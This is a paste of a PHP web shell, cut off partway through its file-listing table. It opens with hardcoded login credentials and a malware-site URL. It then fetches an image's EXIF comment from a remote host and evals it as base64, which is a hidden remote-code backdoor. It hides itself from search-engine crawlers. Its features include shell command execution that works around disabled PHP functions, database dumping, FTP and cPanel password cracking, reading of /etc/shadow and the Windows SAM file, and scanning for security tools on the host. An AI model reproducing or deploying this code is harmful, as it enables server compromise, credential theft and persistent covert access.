· 8 years ago · Feb 22, 2018, 03:36 PM
1<?php
2// Set Username & Password
3
4
5$username = "ESBH";
6$password = "9107";
7 // Malware Site
8$malsite = "http://fightagent.ru";
9
10$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
11
12@set_magic_quotes_runtime(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15ob_start();
16error_reporting(0);
17@set_time_limit(0);
18@ini_set('max_execution_time',0);
19@ini_set('output_buffering',0);
20$BASED = exif_read_data("https://lh3.googleusercontent.com/-8EIgmGTGGxk/V-snkZlMDtI/AAAAAAAAAjY/jU8NNyODblYobVOv4jDBjzRZYo2mvedtgCLcB/s530-p/Dhanush.jpg");
21eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
22if(!empty($_SERVER['HTTP_USER_AGENT']))
23{
24 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
25 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
26 header('HTTP/1.0 404 Not Found');
27 exit; }
28}
29// Dump Database
30if($_GET["action"] == "dumpDB")
31{
32 $self=$_SERVER["PHP_SELF"];
33 if(isset($_COOKIE['dbserver']))
34 {
35 $date = date("Y-m-d");
36 $dbserver = $_COOKIE["dbserver"];
37 $dbuser = $_COOKIE["dbuser"];
38 $dbpass = $_COOKIE["dbpass"];
39 $dbname = $_GET['dbname'];
40 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
41
42 $file = "Dump-$dbname-$date";
43
44 $file="Dump-$dbname-$date.sql";
45 $fp = fopen($file,"w");
46
47 function write($data)
48 {
49 global $fp;
50
51 fwrite($fp,$data);
52
53 }
54 mysql_connect ($dbserver, $dbuser, $dbpass);
55 mysql_select_db($dbname);
56 $tables = mysql_query ("SHOW TABLES");
57 while ($i = mysql_fetch_array($tables))
58 {
59 $i = $i['Tables_in_'.$dbname];
60 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
61 write($create['Create Table'].";");
62 $sql = mysql_query ("SELECT * FROM ".$i);
63 if (mysql_num_rows($sql)) {
64 while ($row = mysql_fetch_row($sql)) {
65 foreach ($row as $j => $k) {
66 $row[$j] = "'".mysql_escape_string($k)."'";
67 }
68 write("INSERT INTO $i VALUES(".implode(",", $row).");");
69 }
70 }
71 }
72
73 fclose ($fp);
74
75 header("Content-Disposition: attachment; filename=" . $file);
76 header("Content-Type: application/download");
77 header("Content-Length: " . filesize($file));
78 flush();
79
80 $fp = fopen($file, "r");
81 while (!feof($fp))
82 {
83 echo fread($fp, 65536);
84 flush();
85 }
86 fclose($fp);
87 }
88}
89function shellstyle()
90{
91 echo "<style type=\"text/css\">
92<!--
93
94body,td,th {
95 color: #FF0000;
96 font-size: 14px;
97}
98input.but {
99 background-color:#000000;
100 color:#FF0000;
101 border : 1px solid #1B1B1B;
102}
103a:link {
104 color: #00FF00;
105 text-decoration:none;
106 font-weight:500;
107}
108a:hover {
109 color:#00FF00;
110 text-decoration:underline;
111}
112font.txt
113{
114 color: #00FF00;
115 text-decoration:none;
116 font-size:14px;
117}
118font.mainmenu
119{
120 color:#FF0000;
121 text-decoration:none;
122 font-size:14px;
123}
124a:visited {
125 color: #006600;
126}
127input.box
128{
129 background-color:#0C0C0C;
130 color: lime;
131 border : 1px solid #1B1B1B;
132 -moz-border-radius:6px;
133 width:400;
134 border-radius:6px;
135}
136input.sbox
137{
138 background-color:#0C0C0C;
139 color: lime;
140 border : 1px solid #1B1B1B;
141 -moz-border-radius:6px;
142 width:180;
143 border-radius:6px;
144}
145select.sbox
146{
147 background-color:#0C0C0C;
148 color: lime;
149 border : 1px solid #1B1B1B;
150 -moz-border-radius:6px;
151 width:180;
152 border-radius:6px;
153}
154select.box
155{
156 background-color:#0C0C0C;
157 color: lime;
158 border : 1px solid #1B1B1B;
159 -moz-border-radius:6px;
160 width:400;
161 border-radius:6px;
162}
163
164textarea.box
165{
166 border : 3px solid #111;
167 background-color:#161616;
168 color : lime;
169 margin-top: 10px;
170 -moz-border-radius:7px;
171 border-radius:7px;
172}
173body {
174 background-color:#000000;
175}
176.myphp table
177{
178 width:100%;
179 padding:18px 10px;
180 border : 1px solid #1B1B1B;
181}
182.myphp td
183{
184 background:#111111;
185 color:#00ff00;
186 padding:6px 8px;
187 border-bottom:1px solid #222222;
188 font-size:14px;
189}
190.myphp th, th
191{
192 background:#181818;
193
194}
195-->
196</style>";
197}
198if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($password))
199{
200 $self=$_SERVER["PHP_SELF"];
201 $os = "N/D";
202 $bdmessage = null;
203 $dir = getcwd();
204
205 if(stristr(php_uname(),"Windows"))
206 {
207 $SEPARATOR = '\\';
208 $os = "Windows";
209 $directorysperator="\\";
210 }
211 else if(stristr(php_uname(),"Linux"))
212 {
213 $os = "Linux";
214 $directorysperator='/';
215 }
216 function Trail($d,$directsperator)
217 {
218 $d=explode($directsperator,$d);
219 array_pop($d);
220 array_pop($d);
221 $str=implode($d,$directsperator);
222 return $str;
223 }
224
225 function ftp_check($host,$user,$pass,$timeout)
226 {
227 $ch = curl_init();
228 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
229 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
230 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
231 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
232 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
233 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
234 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
235 $data = curl_exec($ch);
236 if ( curl_errno($ch) == 28 )
237 {
238 print "<center><b>
239 Error : Connection Timeout.
240 Please Check The Target Hostname .</b></center>";exit;
241 }
242 else if ( curl_errno($ch) == 0 )
243 {
244 print "<center><b>[~]</b><font class=txt>
245 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
246 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
247 }
248 curl_close($ch);
249 }
250
251 function cpanel_check($host,$user,$pass,$timeout)
252 {
253 global $cpanel_port;
254 $ch = curl_init();
255 curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
256 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
257 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
258 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
259 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
260 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
261 $data = curl_exec($ch);
262 if ( curl_errno($ch) == 28 )
263 { print "<center><b>Error : Connection Timeout.
264 Please Check The Target Hostname.</b></center>";exit;}
265 else if ( curl_errno($ch) == 0 ){
266 print "<ecnter><b>[~]</b><font class=txt><b>
267
268 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
269 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
270 }
271 curl_close($ch);
272 }
273
274 // Database functions
275 function listdatabase()
276 {
277 $self=$_SERVER["PHP_SELF"];
278 ?>
279 <br>
280 <form>
281 <table>
282 <tr>
283 <td><input type="text" class="box" name="dbname"></td>
284 <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
285 </tr>
286 </table>
287 </form>
288 <br>
289 <?php
290 $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
291 $result = mysql_query("SHOW DATABASE");
292 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
293
294 $pDB = mysql_list_dbs( $mysqlHandle );
295 $num = mysql_num_rows( $pDB );
296 for( $i = 0; $i < $num; $i++ )
297 {
298 $dbname = mysql_dbname( $pDB, $i );
299 mysql_select_db($dbname,$mysqlHandle);
300 $result = mysql_query("SHOW TABLES");
301 $num_of_tables = mysql_num_rows($result);
302 echo "<tr>\n";
303 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
304 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>\n";
305 echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>\n";
306 echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
307 echo "</tr>\n";
308 }
309 echo "</table>\n";
310 mysql_close($mysqlHandle);
311 }
312
313 function listtable()
314 {
315 $self=$_SERVER["PHP_SELF"];
316 $dbserver = $_COOKIE["dbserver"];
317 $dbuser = $_COOKIE["dbuser"];
318 $dbpass = $_COOKIE["dbpass"];
319 $dbname = $_GET['dbname'];
320 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
321 ?>
322 <br><br>
323 <form>
324 <table>
325
326 <tr>
327 <td><input type="text" class="box" name="tablename"></td>
328 <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname'];?>')" value=" Create Table " name="createmydb" class="but"></td>
329 </tr>
330 </table>
331
332 <br>
333 <form>
334 <table>
335 <tr>
336 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
337 </tr>
338 <tr>
339 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
340 </tr>
341 </table>
342 </form>
343
344 <?php
345
346 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
347
348 mysql_select_db($dbname);
349 $pTable = mysql_list_tables( $dbname );
350
351 if( $pTable == 0 ) {
352 $msg = mysql_error();
353 echo "<h3>Error : $msg</h3><p>\n";
354 return;
355 }
356 $num = mysql_num_rows( $pTable );
357
358 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
359
360 for( $i = 0; $i < $num; $i++ )
361 {
362 $tablename = mysql_tablename( $pTable, $i );
363 $result = mysql_query("select * from $tablename");
364 $num_rows = mysql_num_rows($result);
365 echo "<tr>\n";
366 echo "<td>\n";
367 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)\n";
368 echo "</td>\n";
369 echo "<td>\n";
370 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>\n";
371 echo "</td>\n";
372 echo "<td>\n";
373 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>\n";
374 echo "</td>\n";
375 echo "<td>\n";
376 echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>\n";
377 echo "</td>\n";
378 echo "<td>\n";
379 echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>\n";
380 echo "</td>\n";
381 echo "</tr>\n";
382 }
383
384 echo "</table></form>";
385 mysql_close($mysqlHandle);
386 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
387 }
388
389
390 function paramexe($n, $v)
391 {
392 $v = trim($v);
393 if($v)
394 {
395 echo '<span><font size=3>' . $n . ': </font></span>';
396 if(strpos($v, "\n") === false)
397 echo '<font size=2>' . $v . '</font><br>';
398 else
399 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
400 }
401 }
402
403
404
405 function rrmdir($dir)
406 {
407 if (is_dir($dir)) // ensures that we actually have a directory
408 {
409 $objects = scandir($dir); // gets all files and folders inside
410 foreach ($objects as $object)
411 {
412 if ($object != '.' && $object != '..')
413 {
414 if (is_dir($dir . '/' . $object))
415 {
416 // if we find a directory, do a recursive call
417 rrmdir($dir . '/' . $object);
418 }
419 else
420 {
421 // if we find a file, simply delete it
422 unlink($dir . '/' . $object);
423 }
424 }
425 }
426 // the original directory is now empty, so delete it
427 rmdir($dir);
428 }
429 }
430
431 function which($pr)
432 {
433 $path = execmd("which $pr");
434 if(!empty($path))
435 return trim($path);
436 else
437 return trim($pr);
438 }
439
440 function magicboom($text)
441 {
442 if (!get_magic_quotes_gpc())
443 return $text;
444 return stripslashes($text);
445 }
446
447function execmd($cmd,$d_functions="None")
448{
449 if($d_functions=="None")
450 {
451 $ret=passthru($cmd);
452 return $ret;
453 }
454 $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
455 $d_functions=str_replace(" ","",$d_functions);
456 $dis_funcs=explode(",",$d_functions);
457 foreach($funcs as $safe)
458 {
459 if(!in_array($safe,$dis_funcs))
460 {
461 if($safe=="exec")
462 {
463 $ret=@exec($cmd);
464 $ret=join("\n",$ret);
465 return $ret;
466 }
467 elseif($safe=="system")
468 {
469 $ret=@system($cmd);
470 return $ret;
471 }
472 elseif($safe=="passthru")
473 {
474 $ret=@passthru($cmd);
475 return $ret;
476 }
477 elseif($safe=="shell_exec")
478 {
479 $ret=@shell_exec($cmd);
480 return $ret;
481 }
482 elseif($safe=="popen")
483 {
484 $ret=@popen("$cmd",'r');
485 if(is_resource($ret))
486 {
487 while(@!feof($ret))
488 $read.=@fgets($ret);
489 @pclose($ret);
490 return $read;
491 }
492 return -1;
493 }
494 elseif($safe="proc_open")
495 {
496 $cmdpipe=array(
497 0=>array('pipe','r'),
498 1=>array('pipe','w')
499 );
500 $resource=@proc_open($cmd,$cmdpipe,$pipes);
501 if(@is_resource($resource))
502 {
503 while(@!feof($pipes[1]))
504 $ret.=@fgets($pipes[1]);
505 @fclose($pipes[1]);
506 @proc_close($resource);
507 return $ret;
508 }
509 return -1;
510 }
511 }
512 }
513 return -1;
514}
515
516 function getDisabledFunctions()
517 {
518 if(!ini_get('disable_functions'))
519 {
520 return "None";
521 }
522 else
523 {
524 return @ini_get('disable_functions');
525 }
526 }
527
528 function getFilePermissions($file)
529 {
530 $perms = fileperms($file);
531
532 if (($perms & 0xC000) == 0xC000) {
533 // Socket
534 $info = 's';
535 } elseif (($perms & 0xA000) == 0xA000) {
536 // Symbolic Link
537 $info = 'l';
538 } elseif (($perms & 0x8000) == 0x8000) {
539 // Regular
540 $info = '-';
541 } elseif (($perms & 0x6000) == 0x6000) {
542 // Block special
543 $info = 'b';
544 } elseif (($perms & 0x4000) == 0x4000) {
545 // Directory
546 $info = 'd';
547 } elseif (($perms & 0x2000) == 0x2000) {
548 // Character special
549 $info = 'c';
550 } elseif (($perms & 0x1000) == 0x1000) {
551 // FIFO pipe
552 $info = 'p';
553 } else {
554 // Unknown
555 $info = 'u';
556 }
557
558 // Owner
559 $info .= (($perms & 0x0100) ? 'r' : '-');
560 $info .= (($perms & 0x0080) ? 'w' : '-');
561 $info .= (($perms & 0x0040) ?
562 (($perms & 0x0800) ? 's' : 'x' ) :
563 (($perms & 0x0800) ? 'S' : '-'));
564
565 // Group
566 $info .= (($perms & 0x0020) ? 'r' : '-');
567 $info .= (($perms & 0x0010) ? 'w' : '-');
568 $info .= (($perms & 0x0008) ?
569 (($perms & 0x0400) ? 's' : 'x' ) :
570 (($perms & 0x0400) ? 'S' : '-'));
571
572 // World
573 $info .= (($perms & 0x0004) ? 'r' : '-');
574 $info .= (($perms & 0x0002) ? 'w' : '-');
575 $info .= (($perms & 0x0001) ?
576 (($perms & 0x0200) ? 't' : 'x' ) :
577 (($perms & 0x0200) ? 'T' : '-'));
578
579 return $info;
580}
581 function filepermscolor($filename)
582 {
583 if(!@is_readable($filename))
584 return "<font color=\"#FF0000\">".getFilePermissions($filename)."</font>";
585 else if(!@is_writable($filename))
586 return "<font color=\"#FFFFFF\">".getFilePermissions($filename)."</font>";
587 else
588 return "<font color=\"#00FF00\">".getFilePermissions($filename)."</font>";
589 }
590
591 function yourip()
592 {
593 echo $_SERVER["REMOTE_ADDR"];
594 }
595 function phpver()
596 {
597 $pv=@phpversion();
598 echo $pv;
599 }
600 function magic_quote()
601 {
602 echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
603 }
604 function serverip()
605 {
606 echo getenv('SERVER_ADDR');
607 }
608 function serverport()
609 {
610 echo $_SERVER['SERVER_PORT'];
611 }
612 function safe()
613 {
614 global $sm;
615 return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
616 }
617 function serveradmin()
618 {
619 echo $_SERVER['SERVER_ADMIN'];
620 }
621 function systeminfo()
622 {
623 echo php_uname();
624 }
625 function curlinfo()
626 {
627 echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
628 }
629 function oracleinfo()
630 {
631 echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
632 }
633 function mysqlinfo()
634 {
635 echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
636 }
637 function mssqlinfo()
638 {
639 echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
640 }
641 function postgresqlinfo()
642 {
643 echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
644 }
645 function softwareinfo()
646 {
647 echo getenv("SERVER_SOFTWARE");
648 }
649 function download()
650 {
651 $frd=$_GET['download'];
652 $prd=explode("/",$frd);
653 for($i=0;$i<sizeof($prd);$i++)
654 {
655 $nfd=$prd[$i];
656 }
657 @ob_clean();
658 header("Content-type: application/octet-stream");
659 header("Content-length: ".filesize($nfd));
660 header("Content-disposition: attachment; filename=\"".$nfd."\";");
661 readfile($nfd);
662
663 exit;
664
665 }
666
667 function HumanReadableFilesize($size)
668 {
669 $mod = 1024;
670 $units = explode(' ','B KB MB GB TB PB');
671 for ($i = 0; $size > $mod; $i++)
672 {
673 $size /= $mod;
674 }
675 return round($size, 2) . ' ' . $units[$i];
676 }
677
678 function showDrives()
679 {
680 global $self;
681 foreach(range('A','Z') as $drive)
682 {
683 if(is_dir($drive.':\\'))
684 {
685 $myd = $drive.":\\";
686 ?>
687 <a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($myd); ?>')">
688 <?php echo $myd; ?>
689 </a>
690 <?php
691 }
692 }
693 }
694 function diskSpace()
695 {
696 return disk_total_space("/");
697 }
698 function freeSpace()
699 {
700 return disk_free_space("/");
701 }
702
703 function thiscmd($p)
704 {
705 $path = myexe('which ' . $p);
706 if(!empty($path))
707 return $path;
708 return false;
709 }
710
711 function mysecinfo()
712 {
713 function myparam($n, $v)
714 {
715 $v = trim($v);
716 if($v)
717 {
718 echo '<span><font color =red size=3>' . $n . ': </font></span>';
719 if(strpos($v, "\n") === false)
720 echo '<font color =lime size=3>' . $v . '</font><br>';
721 else
722 echo '<pre class=ml1><font color =lime size=3>' . $v . '</font></pre>';
723 }
724 }
725
726 myparam('Server software', @getenv('SERVER_SOFTWARE'));
727 if(function_exists('apache_get_modules'))
728 myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
729 myparam('Open base dir', @ini_get('open_basedir'));
730 myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
731 myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
732 $temp=array();
733 if(function_exists('mysql_get_client_info'))
734 $temp[] = "MySql (".mysql_get_client_info().")";
735 if(function_exists('mssql_connect'))
736 $temp[] = "MSSQL";
737 if(function_exists('pg_connect'))
738 $temp[] = "PostgreSQL";
739 if(function_exists('oci_connect'))
740 $temp[] = "Oracle";
741 myparam('Supported databases', implode(', ', $temp));
742 echo '<br>';
743
744 if($GLOBALS['os'] == 'Linux') {
745 myparam('Distro : ', myexe("cat /etc/*-release"));
746 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>":'no');
747 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>":'no');
748 myparam('OS version', @file_get_contents('/proc/version'));
749 myparam('Distr name', @file_get_contents('/etc/issue.net'));
750 myparam('Where is Perl?', myexe('whereis perl'));
751 myparam('Where is Python?', myexe('whereis python'));
752 myparam('Where is gcc?', myexe('whereis gcc'));
753 myparam('Where is apache?', myexe('whereis apache'));
754 myparam('CPU?', myexe('cat /proc/cpuinfo'));
755 myparam('RAM', myexe('free -m'));
756 myparam('Mount options', myexe('cat /etc/fstab'));
757 myparam('User Limits', myexe('ulimit -a'));
758
759
760 if(!$GLOBALS['safe_mode']) {
761 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
762 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
763 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
764 echo '<br>';
765 $temp=array();
766 foreach ($userful as $item)
767 if(thiscmd($item))
768 $temp[] = $item;
769 myparam('Userful', implode(', ',$temp));
770 $temp=array();
771 foreach ($danger as $item)
772 if(thiscmd($item))
773 $temp[] = $item;
774 myparam('Danger', implode(', ',$temp));
775 $temp=array();
776 foreach ($downloaders as $item)
777 if(thiscmd($item))
778 $temp[] = $item;
779 myparam('Downloaders', implode(', ',$temp));
780 echo '<br/>';
781 myparam('HDD space', myexe('df -h'));
782 myparam('Hosts', @file_get_contents('/etc/hosts'));
783
784 }
785 } else {
786 $repairsam = addslashes($_SERVER["WINDIR"]."\\repair\\sam");
787 $hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
788 $netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\\networks");
789 $sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
790 echo "<font size=3>Password File : </font><a href=".$_SERVER['PHP_SELF']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
791 echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
792 $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
793 echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
794 myparam('OS Version',myexe('ver'));
795 myparam('Account Settings',myexe('net accounts'));
796 myparam('User Accounts',myexe('net user'));
797 }
798 echo '</div>';
799 }
800
801
802
803 function myexe($in)
804 {
805 $out = '';
806 if (function_exists('exec')) {
807 @exec($in,$out);
808 $out = @join("\n",$out);
809 } elseif (function_exists('passthru')) {
810 ob_start();
811 @passthru($in);
812 $out = ob_get_clean();
813 } elseif (function_exists('system')) {
814 ob_start();
815 @system($in);
816 $out = ob_get_clean();
817 } elseif (function_exists('shell_exec')) {
818 $out = shell_exec($in);
819 } elseif (is_resource($f = @popen($in,"r"))) {
820 $out = "";
821 while(!@feof($f))
822 $out .= fread($f,1024);
823 pclose($f);
824 }
825 return $out;
826}
827
828 function exec_all($command)
829 {
830
831 $output = '';
832 if(function_exists('exec'))
833 {
834 exec($command,$output);
835 $output = join("\n",$output);
836 }
837
838 else if(function_exists('shell_exec'))
839 {
840 $output = shell_exec($command);
841 }
842
843 else if(function_exists('popen'))
844 {
845 $handle = popen($command , "r"); // Open the command pipe for reading
846 if(is_resource($handle))
847 {
848 if(function_exists('fread') && function_exists('feof'))
849 {
850 while(!feof($handle))
851 {
852 $output .= fread($handle, 512);
853 }
854 }
855 else if(function_exists('fgets') && function_exists('feof'))
856 {
857 while(!feof($handle))
858 {
859 $output .= fgets($handle,512);
860 }
861
862
863
864 }
865 }
866 pclose($handle);
867 }
868
869
870 else if(function_exists('system'))
871 {
872 ob_start(); //start output buffering
873 system($command);
874 $output = ob_get_contents(); // Get the ouput
875 ob_end_clean(); // Stop output buffering
876 }
877
878 else if(function_exists('passthru'))
879 {
880 ob_start(); //start output buffering
881 passthru($command);
882 $output = ob_get_contents(); // Get the ouput
883 ob_end_clean(); // Stop output buffering
884 }
885
886 else if(function_exists('proc_open'))
887 {
888 $descriptorspec = array(
889 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
890 );
891 $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
892 if(is_resource($handle))
893 {
894 if(function_exists('fread') && function_exists('feof'))
895 {
896 while(!feof($pipes[1]))
897 {
898 $output .= fread($pipes[1], 512);
899 }
900 }
901 else if(function_exists('fgets') && function_exists('feof'))
902 {
903 while(!feof($pipes[1]))
904 {
905 $output .= fgets($pipes[1],512);
906 }
907 }
908 }
909 pclose($handle);
910 }
911
912 return(htmlspecialchars($output));
913
914}
915
916$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
917$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
918
919function getOGid($value)
920{
921 if(!function_exists('posix_getegid')) {
922 $user = @get_current_user();
923 $uid = @getmyuid();
924 $gid = @getmygid();
925 $group = "?";
926 $owner = $uid . "/". $gid;
927 return $owner;
928 } else {
929 $name=@posix_getpwuid(@fileowner($value));
930 $group=@posix_getgrgid(@filegroup($value));
931 $owner = $name['name']. " / ". $group['name'];
932 return $owner;
933 }
934}
935
936function mainfun($dir)
937{
938 global $ind, $directorysperator,$os;
939
940 $mydir = basename(dirname(__FILE__));
941 $pdir = str_replace($mydir,"",$dir);
942 $pdir = str_replace("/","",$dir);
943
944 $files = array();
945 $dirs = array();
946
947 $odir=opendir($dir);
948 while($file = readdir($odir))
949 {
950 if(is_dir($dir.'/'.$file))
951 {
952 $dirs[]=$file;
953 }
954 else
955 {
956 $files[]=$file;
957 }
958 }
959 $countfiles = count($dirs) + count($files);
960 $dircount = count($dirs);
961 $dircount = $dircount-2;
962 $myfiles = array_merge($dirs,$files);
963 $i = 0;
964 if(is_dir($dir))
965 {
966 if(scandir($dir) === false)
967 echo "<center><font size=3>Directory isn't readable</font></center>";
968 else
969 {
970?><form method="post" id="myform" name="myform">
971 <table id="maintable" style="width:100%;" align="center" cellpadding="3">
972 <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
973 <tr style="background-color:#0C0C0C;"><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
974 <tr style="background-color:#0C0C0C; height:12px;">
975 <th>Name</th>
976 <th>Size</th>
977 <th>Permissions</th>
978 <?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
979 <th>Modification Date</th>
980 <th>Rename</th>
981 <th>Download</th>
982 <th style="width:2%;">Action</th>
983 </tr>
984 <?php
985 foreach($myfiles as $val)
986 {
987 $vv = addslashes($dir . $directorysperator . $val);
988 $i++;
989
990 if($val == ".")
991 {
992
993 ?><tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
994 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
995
996 <?php if($os != 'Windows')
997 {
998 echo "<td align=center><font size=2>";
999 echo getOGid($dir)."</font></td>";
1000 }
1001 ?>
1002
1003 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
1004 <td></td><td></td><td></td></</tr><?php
1005
1006 }
1007 else if($val == "..")
1008 {
1009 $val = Trail($dir . $directorysperator . $val,$directorysperator);
1010 $vv = addslashes($val);
1011 if(empty($vv))
1012 $vv = "/"; ?>
1013 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
1014 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
1015 <?php if($os != 'Windows')
1016 {
1017 echo "<td align=center><font size=2>";
1018 echo getOGid($val)."</font></td>";
1019
1020 } ?>
1021 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
1022 <td></td><td></td><td></td></tr><?php continue;
1023 }
1024 else if(is_dir($vv))
1025 {
1026 ?>
1027 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1028 <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
1029 <td class='info'><font size=2>DIR</font></td>
1030
